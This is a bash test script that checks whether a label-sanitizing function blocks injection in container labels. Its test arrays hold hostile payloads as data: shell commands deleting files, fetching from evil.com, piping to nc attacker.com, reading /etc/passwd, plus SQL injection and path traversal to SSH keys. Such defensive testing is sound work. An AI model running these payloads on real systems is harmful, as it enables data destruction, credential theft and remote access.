#!/bin/bash
# tests/security/test-label-injection.sh
# Phase 5 :: Label injection vulnerability tests (CVSS 7.5 mitigation)

set -euo pipefail

PROJECT_ROOT=$(git rev-parse --show-toplevel 2>/dev/null || echo "$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)")
cd "$PROJECT_ROOT"

# Source test utilities
if [[ -f "$PROJECT_ROOT/tests/test-utils.sh" ]]; then
  source "$PROJECT_ROOT/tests/test-utils.sh"
else
  echo "ERROR: test-utils.sh not found" >&2
  exit 1
fi

# Source validation library (contains sanitization functions)
if [[ -f "$PROJECT_ROOT/scripts/lib/validation.sh" ]]; then
  source "$PROJECT_ROOT/scripts/lib/validation.sh"
else
  echo "ERROR: validation.sh not found - required for label sanitization" >&2
  exit 1
fi

# ============================================================================
# Test: Label sanitization function exists
# ============================================================================
test_sanitize_label_function_exists() {
  log_step "GIVEN validation.sh is sourced"
  log_step "WHEN checking for sanitize_label function"

  if declare -f sanitize_label >/dev/null 2>&1; then
    assert_success "sanitize_label function exists"
  else
    assert_failure "sanitize_label function is missing from validation.sh"
  fi
}

# ============================================================================
# Test: Valid labels are accepted
# ============================================================================
test_valid_labels_accepted() {
  log_step "GIVEN valid label inputs"

  local valid_labels=(
    "team-engineering"
    "env-production"
    "app-frontend"
    "version-1-0-0"
    "cost-center-123"
    "owner-john_doe"
  )

  for label in "${valid_labels[@]}"; do
    log_step "WHEN sanitizing valid label: $label"

    local sanitized
    sanitized=$(sanitize_label "$label" 2>&1)
    local exit_code=$?

    if [[ $exit_code -eq 0 ]]; then
      assert_success "Valid label accepted: $label → $sanitized"
    else
      assert_failure "Valid label rejected: $label (exit code: $exit_code)"
    fi
  done
}

# ============================================================================
# Test: Shell injection blocked
# ============================================================================
test_shell_injection_blocked() {
  log_step "GIVEN malicious shell injection payloads"

  local malicious_labels=(
    "'; rm -rf /;'"
    "\$(curl evil.com)"
    "\`whoami\`"
    "team; cat /etc/passwd"
    "app | nc attacker.com 4444"
    "env && wget malware.sh"
  )

  for label in "${malicious_labels[@]}"; do
    log_step "WHEN sanitizing malicious label: $label"

    local sanitized
    sanitized=$(sanitize_label "$label" 2>&1)
    local exit_code=$?

    if [[ $exit_code -ne 0 ]]; then
      assert_success "Shell injection blocked: $label"
    else
      assert_failure "Shell injection NOT blocked: $label → $sanitized"
    fi
  done
}

# ============================================================================
# Test: SQL injection blocked
# ============================================================================
test_sql_injection_blocked() {
  log_step "GIVEN SQL injection payloads"

  local sql_payloads=(
    "' OR 1=1--"
    "'; DROP TABLE users;--"
    "admin'--"
    "1' UNION SELECT * FROM secrets--"
  )

  for label in "${sql_payloads[@]}"; do
    log_step "WHEN sanitizing SQL injection: $label"

    local sanitized
    sanitized=$(sanitize_label "$label" 2>&1)
    local exit_code=$?

    if [[ $exit_code -ne 0 ]]; then
      assert_success "SQL injection blocked: $label"
    else
      assert_failure "SQL injection NOT blocked: $label → $sanitized"
    fi
  done
}

# ============================================================================
# Test: Path traversal blocked
# ============================================================================
test_path_traversal_blocked() {
  log_step "GIVEN path traversal payloads"

  local path_payloads=(
    "../../etc/passwd"
    "../../../root/.ssh/id_rsa"
    "team/../../../secrets"
    "./../../config"
  )

  for label in "${path_payloads[@]}"; do
    log_step "WHEN sanitizing path traversal: $label"

    local sanitized
    sanitized=$(sanitize_label "$label" 2>&1)
    local exit_code=$?

    if [[ $exit_code -ne 0 ]]; then
      assert_success "Path traversal blocked: $label"
    else
      assert_failure "Path traversal NOT blocked: $label → $sanitized"
    fi
  done
}

# ============================================================================
# Test: Command substitution blocked
# ============================================================================
test_command_substitution_blocked() {
  log_step "GIVEN command substitution payloads"

  local cmd_payloads=(
    "\$(whoami)"
    "\`id\`"
    "\$USER"
    "\${PATH}"
  )

  for label in "${cmd_payloads[@]}"; do
    log_step "WHEN sanitizing command substitution: $label"

    local sanitized
    sanitized=$(sanitize_label "$label" 2>&1)
    local exit_code=$?

    if [[ $exit_code -ne 0 ]]; then
      assert_success "Command substitution blocked: $label"
    else
      assert_failure "Command substitution NOT blocked: $label → $sanitized"
    fi
  done
}

# ============================================================================
# Test: Maximum length enforced
# ============================================================================
test_maximum_length_enforced() {
  log_step "GIVEN labels exceeding 63 characters"

  local long_label="team-engineering-frontend-production-deployment-environment-version-1-2-3-extra-long-name"

  log_step "WHEN sanitizing long label (${#long_label} chars)"

  local sanitized
  sanitized=$(sanitize_label "$long_label" 2>&1)
  local exit_code=$?

  if [[ $exit_code -ne 0 ]]; then
    assert_success "Long label rejected (>${#long_label} chars)"
  elif [[ ${#sanitized} -le 63 ]]; then
    assert_success "Long label truncated to ${#sanitized} chars"
  else
    assert_failure "Long label NOT enforced: ${#sanitized} chars"
  fi
}

# ============================================================================
# Test: Special characters rejected
# ============================================================================
test_special_characters_rejected() {
  log_step "GIVEN labels with special characters"

  local special_labels=(
    "team@engineering"
    "app#frontend"
    "env!production"
    "version*1.0"
    "owner&admin"
    "cost+center"
  )

  for label in "${special_labels[@]}"; do
    log_step "WHEN sanitizing label with special chars: $label"

    local sanitized
    sanitized=$(sanitize_label "$label" 2>&1)
    local exit_code=$?

    if [[ $exit_code -ne 0 ]]; then
      assert_success "Special characters rejected: $label"
    else
      assert_failure "Special characters NOT rejected: $label → $sanitized"
    fi
  done
}

# ============================================================================
# Test: Empty label rejected
# ============================================================================
test_empty_label_rejected() {
  log_step "GIVEN empty label input"
  log_step "WHEN sanitizing empty string"

  local sanitized
  sanitized=$(sanitize_label "" 2>&1)
  local exit_code=$?

  if [[ $exit_code -ne 0 ]]; then
    assert_success "Empty label rejected"
  else
    assert_failure "Empty label NOT rejected: '$sanitized'"
  fi
}

# ============================================================================
# Test: Whitespace trimmed
# ============================================================================
test_whitespace_trimmed() {
  log_step "GIVEN label with leading/trailing whitespace"

  local label_with_spaces="  team-engineering  "

  log_step "WHEN sanitizing label with spaces"

  local sanitized
  sanitized=$(sanitize_label "$label_with_spaces" 2>&1)
  local exit_code=$?

  if [[ $exit_code -eq 0 && "$sanitized" == "team-engineering" ]]; then
    assert_success "Whitespace trimmed: '$label_with_spaces' → '$sanitized'"
  elif [[ $exit_code -eq 0 ]]; then
    assert_failure "Whitespace NOT fully trimmed: '$label_with_spaces' → '$sanitized'"
  else
    assert_failure "Label with whitespace rejected (should trim and accept)"
  fi
}

# ============================================================================
# Test: Integration with cost tracker
# ============================================================================
test_cost_tracker_integration() {
  log_step "GIVEN cost-allocation-tracker.sh exists"

  if [[ ! -f "$PROJECT_ROOT/scripts/cost-allocation-tracker.sh" ]]; then
    assert_failure "cost-allocation-tracker.sh not found"
    return 1
  fi

  log_step "WHEN checking for sanitize_label usage"

  # Check if cost tracker sources validation.sh
  if grep -q "source.*validation.sh" "$PROJECT_ROOT/scripts/cost-allocation-tracker.sh"; then
    assert_success "cost-allocation-tracker.sh sources validation.sh"
  else
    assert_failure "cost-allocation-tracker.sh does NOT source validation.sh"
    return 1
  fi

  # Check if cost tracker uses sanitize_label
  if grep -q "sanitize_label" "$PROJECT_ROOT/scripts/cost-allocation-tracker.sh"; then
    assert_success "cost-allocation-tracker.sh uses sanitize_label function"
  else
    assert_failure "cost-allocation-tracker.sh does NOT use sanitize_label"
  fi
}

# ============================================================================
# Execute all tests
# ============================================================================
main() {
  log_info "Starting Label Injection Security Tests (CVSS 7.5)"
  log_info "Test suite validates input sanitization for container labels"
  echo ""

  local tests_passed=0
  local tests_failed=0

  # Array of test functions
  local tests=(
    "test_sanitize_label_function_exists"
    "test_valid_labels_accepted"
    "test_shell_injection_blocked"
    "test_sql_injection_blocked"
    "test_path_traversal_blocked"
    "test_command_substitution_blocked"
    "test_maximum_length_enforced"
    "test_special_characters_rejected"
    "test_empty_label_rejected"
    "test_whitespace_trimmed"
    "test_cost_tracker_integration"
  )

  for test_func in "${tests[@]}"; do
    if $test_func; then
      ((tests_passed++))
    else
      ((tests_failed++))
    fi
    echo ""
  done

  # Summary
  local total_tests=$((tests_passed + tests_failed))
  local pass_rate=$(awk "BEGIN {printf \"%.2f\", $tests_passed / $total_tests}")

  log_info "================================================"
  log_info "Label Injection Test Results"
  log_info "================================================"
  log_info "Total tests: $total_tests"
  log_info "Passed: $tests_passed"
  log_info "Failed: $tests_failed"
  log_info "Pass rate: $pass_rate (threshold: 1.00)"
  log_info "================================================"

  # Gate check (100% pass rate required for security tests)
  if (( $(awk "BEGIN {print ($pass_rate >= 1.0)}") )); then
    log_info "✅ GATE PASSED: Label injection vulnerability mitigated"
    return 0
  else
    log_error "❌ GATE FAILED: Security vulnerabilities remain (pass rate < 1.00)"
    return 1
  fi
}

# Run tests
main "$@"
